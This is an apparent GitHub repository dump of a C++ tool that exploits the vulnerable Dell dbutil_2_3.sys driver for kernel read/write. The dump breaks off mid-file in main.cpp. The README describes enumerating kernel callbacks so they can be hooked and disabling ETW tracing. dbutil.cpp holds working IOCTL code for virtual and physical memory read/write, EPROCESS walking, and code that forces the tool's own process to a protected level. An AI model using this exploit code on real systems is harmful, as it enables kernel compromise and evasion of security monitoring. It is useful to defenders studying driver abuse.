├── LICENSE ├── README.md ├── dbutil.cpp ├── dbutil.h ├── dbutil_2_3.sys ├── main.cpp ├── main.h └── shot.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 zyphex 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EnumerateAllKernelCallbacks 2 | What? >
3 | List all registered "Process Creation" / "Load Image" / "Registry R/W" - Callbacks.
4 | And Iterate over all Object Types. If a Type supports Callbacks list all of its Procedures. Which lets you easily hook them.

5 | How? >
6 | By abusing the vulnerable dbutil_2_3.sys driver we get arbitrary read/write primitives in the kernel.
7 | This Project is free of hardcoded Offsets (x64). It will work on every Windows.
8 | As an extra the programm will also resolve the ETWTrace-Address. You can just flipp the bit at the given ETWStatus-Address to disable tracing.
9 | ![alt text](https://github.com/Flerov/EAKC-EnumAllKernelCallbacks/blob/main/shot.png?raw=true) 10 |

11 | 12 | Have fun :) and make sure not to forget to load the driver first. Works also with manual mapping. 13 | -------------------------------------------------------------------------------- /dbutil.cpp: -------------------------------------------------------------------------------- 1 | #include "dbutil.h" 2 | 3 | DBUTIL::DBUTIL() { 4 | // Constructor for Memory Manager 5 | HANDLE hDevice = CreateFileW(wszDrive, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 6 | DWORD errorCode = GetLastError(); 7 | if (errorCode != 0) { 8 | printf("Error code %lu\n", errorCode); 9 | printf("[!] Could not create a handle to driver. Aborting.\n"); 10 | } 11 | DBUTIL::DriverHandle = hDevice; 12 | printf("[+] Driver handle created.\n"); 13 | } 14 | 15 | DBUTIL::~DBUTIL() { 16 | // Close Handle to driver. If it was obtained in constructor 17 | if (DBUTIL::DriverHandle != INVALID_HANDLE_VALUE) { 18 | CloseHandle(DBUTIL::DriverHandle); 19 | DBUTIL::DriverHandle = INVALID_HANDLE_VALUE; 20 | printf("[!] Handle to driver closed!\n"); 21 | } 22 | printf("[!] Close but INVALID_HANDLE_VALUE?\n"); 23 | 24 | } 25 | 26 | BOOL DBUTIL::VirtualRead(_In_ DWORD64 address, _Out_ void* buffer, _In_ size_t bytesToRead) { 27 | /* Reads VIRTUAL memory at the given address */ 28 | // Creates a BYTE buffer to send to the driver 29 | const DWORD sizeOfPacket = VIRTUAL_PACKET_HEADER_SIZE + bytesToRead; 30 | BYTE* tempBuffer = new BYTE[sizeOfPacket]; 31 | // Copies a garbage value to the first 8 bytes, not used 32 | DWORD64 garbage = GARBAGE_VALUE; 33 | memcpy(tempBuffer, &garbage, 0x8); 34 | // Copies the address to the second 8 bytes 35 | memcpy(&tempBuffer[0x8], &address, 0x8); 36 | // Copies the offset value to the third 8 bytes (offset bytes, added to address inside driver) 37 | DWORD64 offset = 0x0; 38 | memcpy(&tempBuffer[0x10], &offset, 0x8); 39 | // Sends the IOCTL_READ code to the driver with the buffer 40 | DWORD bytesReturned = 0; 41 | BOOL response = DeviceIoControl(DBUTIL::DriverHandle, IOCTL_VIRTUAL_READ, tempBuffer, sizeOfPacket, tempBuffer, sizeOfPacket, &bytesReturned, NULL); 42 | // Copies the returned value to the output buffer 43 | memcpy(buffer, &tempBuffer[0x18], bytesToRead); 44 | //memcpy(buffer, &tempBuffer[sizeof(OB_CALLBACK_ENTRY)], bytesToRead); 45 | // Deletes the dynamically allocated buffer 46 | delete[] tempBuffer; 47 | // Returns with the response 48 | return response; 49 | } 50 | 51 | BOOL DBUTIL::VirtualWrite(_In_ DWORD64 address, _In_ void* buffer, _In_ size_t bytesToWrite) { 52 | /* Reads VIRTUAL memory at the given address */ 53 | // Creates a BYTE buffer to send to the driver 54 | const DWORD sizeOfPacket = VIRTUAL_PACKET_HEADER_SIZE + bytesToWrite; 55 | BYTE* tempBuffer = new BYTE[sizeOfPacket]; 56 | // Copies a garbage value to the first 8 bytes, not used 57 | DWORD64 garbage = GARBAGE_VALUE; 58 | memcpy(tempBuffer, &garbage, PARAMETER_SIZE); 59 | // Copies the address to the second 8 bytes 60 | memcpy(&tempBuffer[0x8], &address, PARAMETER_SIZE); 61 | // Copies the offset value to the third 8 bytes (offset bytes, added to address inside driver) 62 | DWORD64 offset = 0x0; 63 | memcpy(&tempBuffer[0x10], &offset, PARAMETER_SIZE); 64 | // Copies the write data to the end of the header 65 | memcpy(&tempBuffer[0x18], buffer, bytesToWrite); 66 | // Sends the IOCTL_WRITE code to the driver with the buffer 67 | DWORD bytesReturned = 0; 68 | BOOL response = DeviceIoControl(DBUTIL::DriverHandle, IOCTL_VIRTUAL_WRITE, tempBuffer, sizeOfPacket, tempBuffer, sizeOfPacket, &bytesReturned, NULL); 69 | // Deletes the dynamically allocated buffer 70 | delete[] tempBuffer; 71 | // Returns with the response 72 | return response; 73 | } 74 | 75 | BOOL DBUTIL::PhysicalRead(_In_ DWORD64 address, _Out_ void* buffer, _In_ size_t bytesToRead) { 76 | /* Reads PHYSICAL memory at the given address */ 77 | // Creates a BYTE buffer to send to the driver 78 | const DWORD sizeOfPacket = PHYSICAL_PACKET_HEADER_SIZE + bytesToRead; 79 | BYTE* tempBuffer = new BYTE[sizeOfPacket]; 80 | // Copies a garbage value to the first 8 bytes, not used 81 | DWORD64 garbage = GARBAGE_VALUE; 82 | memcpy(tempBuffer, &garbage, PARAMETER_SIZE); 83 | // Copies the address to the second 8 bytes 84 | memcpy(&tempBuffer[0x8], &address, PARAMETER_SIZE); 85 | // Sends the IOCTL_READ code to the driver with the buffer 86 | DWORD bytesReturned = 0; 87 | BOOL response = DeviceIoControl(DBUTIL::DriverHandle, IOCTL_PHYSICAL_READ, tempBuffer, sizeOfPacket, tempBuffer, sizeOfPacket, &bytesReturned, NULL); 88 | // Copies the returned value to the output buffer 89 | memcpy(buffer, &tempBuffer[0x10], bytesToRead); 90 | // Deletes the dynamically allocated buffer 91 | delete[] tempBuffer; 92 | // Returns with the response 93 | return response; 94 | } 95 | 96 | BOOL DBUTIL::PhysicalWrite(_In_ DWORD64 address, _In_ void* buffer, _In_ size_t bytesToWrite) { 97 | /* Reads PHYSICAL memory at the given address */ 98 | // Creates a BYTE buffer to send to the driver 99 | const DWORD sizeOfPacket = PHYSICAL_PACKET_HEADER_SIZE + bytesToWrite; 100 | BYTE* tempBuffer = new BYTE[sizeOfPacket]; 101 | // Copies a garbage value to the first 8 bytes, not used 102 | DWORD64 garbage = GARBAGE_VALUE; 103 | memcpy(tempBuffer, &garbage, PARAMETER_SIZE); 104 | // Copies the address to the second 8 bytes 105 | memcpy(&tempBuffer[0x8], &address, PARAMETER_SIZE); 106 | // Copies the write data to the end of the header 107 | memcpy(&tempBuffer[0x10], buffer, bytesToWrite); 108 | // Sends the IOCTL_WRITE code to the driver with the buffer 109 | DWORD bytesReturned = 0; 110 | BOOL response = DeviceIoControl(DBUTIL::DriverHandle, IOCTL_PHYSICAL_WRITE, tempBuffer, sizeOfPacket, tempBuffer, sizeOfPacket, &bytesReturned, NULL); 111 | // Deletes the dynamically allocated buffer 112 | delete[] tempBuffer; 113 | // Returns with the response 114 | return response; 115 | } 116 | 117 | DWORD64 DBUTIL::GetKernelBase(_In_ std::string name) { 118 | /* Gets the base address (VIRTUAL ADDRESS) of a module in kernel address space */ 119 | // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters 120 | LPVOID lpImageBase[1024]{}; 121 | DWORD lpcbNeeded{}; 122 | int drivers{}; 123 | char lpFileName[1024]{}; 124 | DWORD64 imageBase{}; 125 | // Grabs an array of all of the device drivers 126 | BOOL success = EnumDeviceDrivers( 127 | lpImageBase, 128 | sizeof(lpImageBase), 129 | &lpcbNeeded 130 | ); 131 | // Makes sure that we successfully grabbed the drivers 132 | if (!success) 133 | { 134 | printf("Unable to invoke EnumDeviceDrivers()!\n"); 135 | return 0; 136 | } 137 | // Defining number of drivers for GetDeviceDriverBaseNameA() 138 | drivers = lpcbNeeded / sizeof(lpImageBase[0]); 139 | // Parsing loaded drivers 140 | for (int i = 0; i < drivers; i++) { 141 | // Gets the name of the driver 142 | GetDeviceDriverBaseNameA( 143 | lpImageBase[i], 144 | lpFileName, 145 | sizeof(lpFileName) / sizeof(char) 146 | ); 147 | // Compares the indexed driver and with our specified driver name 148 | if (!strcmp(name.c_str(), lpFileName)) { 149 | imageBase = (DWORD64)lpImageBase[i]; 150 | //Logger::InfoHex("Found Image Base for " + name, imageBase); 151 | //printf("Found Image Base for %s 0x%lu\n", name.c_str(), imageBase); 152 | break; 153 | } 154 | } 155 | return imageBase; 156 | } 157 | 158 | MY_STRUCT DBUTIL::GetEPROCESSPointer(_In_ DWORD64 ntoskrnlBase, _In_ std::vector processNames) { 159 | /* Returns the pointer (VIRTUAL ADDRESS) to an EPROCESS struct for a specified process name*/ 160 | // Gets PsInitialSystemProcess address from ntoskrnl exports 161 | // Maps the ntoskrnl file to memory 162 | MY_STRUCT ret; 163 | HANDLE handleToFile = CreateFileW(L"C:\\Windows\\System32\\ntoskrnl.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 164 | HANDLE handleToMap = CreateFileMapping(handleToFile, NULL, PAGE_READONLY, 0, 0, NULL); 165 | PBYTE srcFile = (PBYTE)MapViewOfFile(handleToMap, FILE_MAP_READ, 0, 0, 0); 166 | if (!srcFile) { 167 | printf("Failed to open ntoskrnl!\n"); 168 | ret.flag = false; 169 | return ret; 170 | } 171 | // Gets the DOS header from the file map 172 | IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)srcFile; 173 | // Gets the NT header from the dos header 174 | IMAGE_NT_HEADERS64* ntHeader = (IMAGE_NT_HEADERS64*)((PBYTE)dosHeader + dosHeader->e_lfanew); 175 | // Gets the Exports data directory information 176 | IMAGE_DATA_DIRECTORY* exportDirInfo = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 177 | // Gets the first section data header to start iterating through 178 | IMAGE_SECTION_HEADER* firstSectionHeader = IMAGE_FIRST_SECTION(ntHeader); 179 | // Loops Through Each Section to find export table 180 | DWORD64 PsIntialSystemProcessOffset{}; 181 | for (DWORD i{}; i < ntHeader->FileHeader.NumberOfSections; i++) { 182 | auto section = &firstSectionHeader[i]; 183 | // Checks if our export address table is within the given section 184 | if (section->VirtualAddress <= exportDirInfo->VirtualAddress && exportDirInfo->VirtualAddress < (section->VirtualAddress + section->Misc.VirtualSize)) { 185 | // If so, put the export data in our variable and exit the for loop 186 | IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((DWORD64)dosHeader + section->PointerToRawData + (DWORD64)exportDirInfo->VirtualAddress - section->VirtualAddress); 187 | // Iterates through the names to find the PsInitialSystemProcess export 188 | DWORD* funcNames = (DWORD*)((PBYTE)srcFile + exportDirectory->AddressOfNames + section->PointerToRawData - section->VirtualAddress); 189 | DWORD* funcAddresses = (DWORD*)((PBYTE)srcFile + exportDirectory->AddressOfFunctions + section->PointerToRawData - section->VirtualAddress); 190 | WORD* funcOrdinals = (WORD*)((PBYTE)srcFile + exportDirectory->AddressOfNameOrdinals + section->PointerToRawData - section->VirtualAddress); 191 | for (DWORD j{}; j < exportDirectory->NumberOfNames; j++) { 192 | LPCSTR name = (LPCSTR)(srcFile + funcNames[j] + section->PointerToRawData - section->VirtualAddress); 193 | if (!strcmp(name, "PsInitialSystemProcess")) { 194 | PsIntialSystemProcessOffset = funcAddresses[funcOrdinals[j]]; 195 | break; 196 | } 197 | } 198 | break; 199 | } 200 | } 201 | // Checks if we found the offset 202 | if (!PsIntialSystemProcessOffset) { 203 | printf("Failed to find PsInitialSystemProcess offset!\n"); 204 | ret.flag = false; 205 | return ret; 206 | } 207 | // Reads the PsInitialSystemProcess Address 208 | DWORD64 initialSystemProcess{}; 209 | this->VirtualRead(ntoskrnlBase + PsIntialSystemProcessOffset, &initialSystemProcess, sizeof(DWORD64)); 210 | if (!initialSystemProcess) { 211 | printf("Failed to VirtualRead PsInitialSystemProcess offset!\n"); 212 | ret.flag = false; 213 | return ret; 214 | } 215 | // Reads ActiveProcessLinks of the system process to iterate through all processes 216 | LIST_ENTRY activeProcessLinks; 217 | this->VirtualRead(initialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS, &activeProcessLinks, sizeof(activeProcessLinks)); 218 | // Prepares input string for search algorithm below 219 | // const char* inputName = processName.c_str(); CHANGED 220 | // Sets up a current process tracker as we iterate through all of the processes 221 | DWORD64 currentProcess{}; 222 | //UCHAR currentProcessName[EPROCESS_MAX_NAME_SIZE]{}; 223 | // TODO: LENGHT FOR NAMES IS LIMITED TO 15 CHAR's 224 | UCHAR currentProcessName[MAX_PATH]{}; // TODO: LENGHT FOR NAMES IS LIMITED TO 15 CHAR's 225 | //unsigned long long* currentProcessName[EPROCESS_MAX_NAME_SIZE]{}; 226 | // Loops through the process list three times to find the PID we're looking for 227 | 228 | // added: 229 | std::vector matchNames; 230 | std::vector matchEprocess; 231 | for (DWORD i{}; i < 1; i++) { 232 | do { 233 | // Initializes the currentProcess tracker with the process that comes after System 234 | this->VirtualRead((DWORD64)activeProcessLinks.Flink, ¤tProcess, sizeof(DWORD64)); 235 | // Subtracts the offset of the activeProcessLinks offset as an activeProcessLink 236 | // points to the activeProcessLinks of another EPROCESS struct 237 | currentProcess -= EPROCESS_ACTIVEPROCESSLINKS; 238 | // Gets the Name of currentProcess 239 | //this->VirtualRead(currentProcess + EPROCESS_NAME, ¤tProcessName, sizeof(currentProcessName)); 240 | this->VirtualRead(currentProcess + EPROCESS_NAME, ¤tProcessName, MAX_PATH); 241 | // Checks if the currentProcess is the one we're looking for 242 | //DBUTIL::InfoHex((const char*)currentProcessName, strncmp((const char*)currentProcessName, inputName, EPROCESS_MAX_NAME_SIZE)); 243 | //printf("Comparing current Process: %s with %s\n", *currentProcessName, inputName); 244 | //printf("Comparing current Process: %s with %s\n", reinterpret_cast(currentProcessName), inputName); 245 | //if (strncmp(*currentProcessName, inputName, EPROCESS_MAX_NAME_SIZE) == 0) { 246 | //if (strncmp(reinterpret_cast(currentProcessName), inputName, EPROCESS_MAX_NAME_SIZE) == 0) { 247 | const char* cur = reinterpret_cast(currentProcessName); 248 | for (size_t i = 0; i < processNames.size(); i++) { 249 | const char* inputName = processNames[i].c_str(); 250 | //printf("Comparing current Process: %s with %s\n", cur, inputName); 251 | if (strcmp(cur, inputName) == 0) { 252 | bool represented = false; 253 | for (auto& item : matchNames) { 254 | if (item == processNames[i]) { 255 | represented = true; 256 | } 257 | } 258 | if (!represented) { 259 | printf("Add EPROCESS to list\n"); 260 | matchNames.push_back(processNames[i]); 261 | matchEprocess.push_back(currentProcess); 262 | } 263 | } 264 | } 265 | /*if (strcmp(reinterpret_cast(currentProcessName), inputName) == 0) { 266 | printf("Eprocess found\n"); 267 | // If it is the process, return the pointer to the EPROCESS struct 268 | return currentProcess; 269 | }*/ 270 | // If not, update the activeProcessLinks entry with the list entry from currentprocess 271 | this->VirtualRead(currentProcess + EPROCESS_ACTIVEPROCESSLINKS, &activeProcessLinks, sizeof(activeProcessLinks)); 272 | //} while (strncmp(*currentProcessName, SYSTEM_NAME, EPROCESS_MAX_NAME_SIZE) != 0); 273 | } while (strncmp(reinterpret_cast(currentProcessName), SYSTEM_NAME, EPROCESS_MAX_NAME_SIZE) != 0); 274 | } 275 | // Will return NULL if the process is not found after 3 iterations 276 | if (ret.names.size() != 0) { 277 | ret.names = matchNames; 278 | ret.eprocess = matchEprocess; 279 | ret.flag = true; 280 | return ret; 281 | } 282 | ret.names = matchNames; 283 | ret.eprocess = matchEprocess; 284 | ret.flag = false; 285 | return ret; 286 | } 287 | 288 | MY_STRUCT DBUTIL::GetAllEPROCESSPointer(_In_ DWORD64 ntoskrnlBase) { 289 | /* Returns the pointer (VIRTUAL ADDRESS) to an EPROCESS struct for a specified process name*/ 290 | // Gets PsInitialSystemProcess address from ntoskrnl exports 291 | // Maps the ntoskrnl file to memory 292 | MY_STRUCT ret; 293 | HANDLE handleToFile = CreateFileW(L"C:\\Windows\\System32\\ntoskrnl.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 294 | HANDLE handleToMap = CreateFileMapping(handleToFile, NULL, PAGE_READONLY, 0, 0, NULL); 295 | PBYTE srcFile = (PBYTE)MapViewOfFile(handleToMap, FILE_MAP_READ, 0, 0, 0); 296 | if (!srcFile) { 297 | printf("Failed to open ntoskrnl!\n"); 298 | ret.flag = false; 299 | return ret; 300 | } 301 | // Gets the DOS header from the file map 302 | IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)srcFile; 303 | // Gets the NT header from the dos header 304 | IMAGE_NT_HEADERS64* ntHeader = (IMAGE_NT_HEADERS64*)((PBYTE)dosHeader + dosHeader->e_lfanew); 305 | // Gets the Exports data directory information 306 | IMAGE_DATA_DIRECTORY* exportDirInfo = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 307 | // Gets the first section data header to start iterating through 308 | IMAGE_SECTION_HEADER* firstSectionHeader = IMAGE_FIRST_SECTION(ntHeader); 309 | // Loops Through Each Section to find export table 310 | DWORD64 PsIntialSystemProcessOffset{}; 311 | for (DWORD i{}; i < ntHeader->FileHeader.NumberOfSections; i++) { 312 | auto section = &firstSectionHeader[i]; 313 | // Checks if our export address table is within the given section 314 | if (section->VirtualAddress <= exportDirInfo->VirtualAddress && exportDirInfo->VirtualAddress < (section->VirtualAddress + section->Misc.VirtualSize)) { 315 | // If so, put the export data in our variable and exit the for loop 316 | IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((DWORD64)dosHeader + section->PointerToRawData + (DWORD64)exportDirInfo->VirtualAddress - section->VirtualAddress); 317 | // Iterates through the names to find the PsInitialSystemProcess export 318 | DWORD* funcNames = (DWORD*)((PBYTE)srcFile + exportDirectory->AddressOfNames + section->PointerToRawData - section->VirtualAddress); 319 | DWORD* funcAddresses = (DWORD*)((PBYTE)srcFile + exportDirectory->AddressOfFunctions + section->PointerToRawData - section->VirtualAddress); 320 | WORD* funcOrdinals = (WORD*)((PBYTE)srcFile + exportDirectory->AddressOfNameOrdinals + section->PointerToRawData - section->VirtualAddress); 321 | for (DWORD j{}; j < exportDirectory->NumberOfNames; j++) { 322 | LPCSTR name = (LPCSTR)(srcFile + funcNames[j] + section->PointerToRawData - section->VirtualAddress); 323 | if (!strcmp(name, "PsInitialSystemProcess")) { 324 | PsIntialSystemProcessOffset = funcAddresses[funcOrdinals[j]]; 325 | break; 326 | } 327 | } 328 | break; 329 | } 330 | } 331 | // Checks if we found the offset 332 | if (!PsIntialSystemProcessOffset) { 333 | printf("Failed to find PsInitialSystemProcess offset!\n"); 334 | ret.flag = false; 335 | return ret; 336 | } 337 | // Reads the PsInitialSystemProcess Address 338 | DWORD64 initialSystemProcess{}; 339 | this->VirtualRead(ntoskrnlBase + PsIntialSystemProcessOffset, &initialSystemProcess, sizeof(DWORD64)); 340 | if (!initialSystemProcess) { 341 | printf("Failed to VirtualRead PsInitialSystemProcess offset!\n"); 342 | ret.flag = false; 343 | return ret; 344 | } 345 | // Reads ActiveProcessLinks of the system process to iterate through all processes 346 | LIST_ENTRY activeProcessLinks; 347 | this->VirtualRead(initialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS, &activeProcessLinks, sizeof(activeProcessLinks)); 348 | // Prepares input string for search algorithm below 349 | // const char* inputName = processName.c_str(); CHANGED 350 | // Sets up a current process tracker as we iterate through all of the processes 351 | DWORD64 currentProcess{}; 352 | //UCHAR currentProcessName[EPROCESS_MAX_NAME_SIZE]{}; 353 | // TODO: LENGHT FOR NAMES IS LIMITED TO 15 CHAR's 354 | UCHAR currentProcessName[MAX_PATH]{}; // TODO: LENGHT FOR NAMES IS LIMITED TO 15 CHAR's 355 | //unsigned long long* currentProcessName[EPROCESS_MAX_NAME_SIZE]{}; 356 | // Loops through the process list three times to find the PID we're looking for 357 | 358 | // added: 359 | std::vector matchNames; 360 | std::vector matchEprocess; 361 | std::vector protections; 362 | for (DWORD i{}; i < 1; i++) { 363 | do { 364 | // Initializes the currentProcess tracker with the process that comes after System 365 | this->VirtualRead((DWORD64)activeProcessLinks.Flink, ¤tProcess, sizeof(DWORD64)); 366 | // Subtracts the offset of the activeProcessLinks offset as an activeProcessLink 367 | // points to the activeProcessLinks of another EPROCESS struct 368 | currentProcess -= EPROCESS_ACTIVEPROCESSLINKS; 369 | // Gets the Name of currentProcess 370 | //this->VirtualRead(currentProcess + EPROCESS_NAME, ¤tProcessName, sizeof(currentProcessName)); 371 | this->VirtualRead(currentProcess + EPROCESS_NAME, ¤tProcessName, MAX_PATH); 372 | // Checks if the currentProcess is the one we're looking for 373 | //DBUTIL::InfoHex((const char*)currentProcessName, strncmp((const char*)currentProcessName, inputName, EPROCESS_MAX_NAME_SIZE)); 374 | //printf("Comparing current Process: %s with %s\n", *currentProcessName, inputName); 375 | //printf("Comparing current Process: %s with %s\n", reinterpret_cast(currentProcessName), inputName); 376 | //if (strncmp(*currentProcessName, inputName, EPROCESS_MAX_NAME_SIZE) == 0) { 377 | //if (strncmp(reinterpret_cast(currentProcessName), inputName, EPROCESS_MAX_NAME_SIZE) == 0) { 378 | const char* cur = reinterpret_cast(currentProcessName); 379 | bool represented = false; 380 | for (auto& item : matchNames) { 381 | if (strcmp(cur, item.c_str()) == 0) { // viel lieber normale compare 382 | represented = true; 383 | } 384 | } 385 | if (!represented) { 386 | std::string name = cur; 387 | matchNames.push_back(name); 388 | matchEprocess.push_back(currentProcess); 389 | protections.push_back(false); 390 | } 391 | // If not, update the activeProcessLinks entry with the list entry from currentprocess 392 | this->VirtualRead(currentProcess + EPROCESS_ACTIVEPROCESSLINKS, &activeProcessLinks, sizeof(activeProcessLinks)); 393 | //} while (strncmp(*currentProcessName, SYSTEM_NAME, EPROCESS_MAX_NAME_SIZE) != 0); 394 | } while (strncmp(reinterpret_cast(currentProcessName), SYSTEM_NAME, EPROCESS_MAX_NAME_SIZE) != 0); 395 | } 396 | ret.names = matchNames; 397 | ret.eprocess = matchEprocess; 398 | ret.protection = protections; 399 | ret.flag = true; 400 | return ret; 401 | } 402 | 403 | //DWORD64 GetSafeEPROCESSPointer(_In_ DWORD64 ntoskrnlBase) { 404 | DWORD64 DBUTIL::GetSelfEPROCESSAddress() { 405 | NTSTATUS status; 406 | DWORD currentProcessID = GetCurrentProcessId(); 407 | 408 | // Open an handle to our own process. 409 | HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID); 410 | printf("[*] [ProcessProtection] Self process handle: 0x%hx\n", (USHORT)((ULONG_PTR)selfProcessHandle)); 411 | 412 | // Retrieves the native NtQuerySystemInformation function from ntdll. 413 | HMODULE hNtdll = GetModuleHandle(TEXT("ntdll")); 414 | if (!hNtdll) { 415 | //_putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process")); 416 | printf("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process"); 417 | return 0x0; 418 | } 419 | _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); 420 | if (!NtQuerySystemInformation) { 421 | //_putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process")); 422 | printf("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"); 423 | return 0x0; 424 | } 425 | 426 | /* 427 | * Retrieves all the handle table using NtQuerySystemInformation. 428 | * Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH). 429 | * Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation. 430 | */ 431 | ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize; 432 | PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL; 433 | PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize); 434 | if (!pHandleTableInformation) { 435 | //_putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process")); 436 | printf("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"); 437 | return 0x0; 438 | } 439 | status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); 440 | while (status == STATUS_INFO_LENGTH_MISMATCH) { 441 | SystemHandleInformationSize = SystemHandleInformationSize * 2; 442 | tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize); 443 | if (!tmpHandleTableInformation) { 444 | printf("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"); 445 | return 0x0; 446 | } 447 | pHandleTableInformation = tmpHandleTableInformation; 448 | status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); 449 | } 450 | if (!NT_SUCCESS(status)) { 451 | printf("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"); 452 | return 0x0; 453 | } 454 | 455 | // Iterates through all the handles. 456 | DWORD64 returnAddress = 0x0; 457 | for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) { 458 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i]; 459 | 460 | // Only retrieves the handles associated with our own process. 461 | if (handleInfo.UniqueProcessId != currentProcessID) { 462 | continue; 463 | } 464 | 465 | if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) { 466 | printf("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n", handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); 467 | returnAddress = (DWORD64)handleInfo.Object; 468 | break; 469 | } 470 | } 471 | free(pHandleTableInformation); 472 | CloseHandle(selfProcessHandle); 473 | return returnAddress; 474 | } 475 | 476 | int DBUTIL::SetCurrentProcessAsProtected() { 477 | DWORD64 processEPROCESSAddress = this->GetSelfEPROCESSAddress(); 478 | if (processEPROCESSAddress == 0x0) { 479 | printf("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"); 480 | return -1; 481 | } 482 | //_tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress); 483 | printf("[+][ProcessProtection] Found self process EPROCCES struct at 0x % I64x\n", processEPROCESSAddress); 484 | 485 | // Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61). 486 | DWORD64 processSignatureLevelAddress = processEPROCESSAddress + 0x87a; 487 | 488 | //UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight)); 489 | // PS_PROTECTED, currently 0x91 490 | UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerMax) << 7)) | ((UCHAR)(3)); 491 | printf("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n", processSignatureLevelAddress, flagPPLWinTcb); 492 | //WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb); 493 | this->VirtualWrite(processSignatureLevelAddress, &flagPPLWinTcb, 8); 494 | 495 | return 0; 496 | } 497 | -------------------------------------------------------------------------------- /dbutil.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Flerov/EAKC-EnumAllKernelCallbacks/e837ae3f584fe61ce2627ea096740096a1f96905/dbutil.h -------------------------------------------------------------------------------- /dbutil_2_3.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Flerov/EAKC-EnumAllKernelCallbacks/e837ae3f584fe61ce2627ea096740096a1f96905/dbutil_2_3.sys -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | PBYTE ReadFullFileW(LPCWSTR fileName) { 4 | HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 5 | if (hFile == INVALID_HANDLE_VALUE) { 6 | return NULL; 7 | } 8 | DWORD fileSize = GetFileSize(hFile, NULL); 9 | PBYTE fileContent = (PBYTE)malloc(fileSize); // cast 10 | DWORD bytesRead = 0; 11 | if (!ReadFile(hFile, fileContent, fileSize, 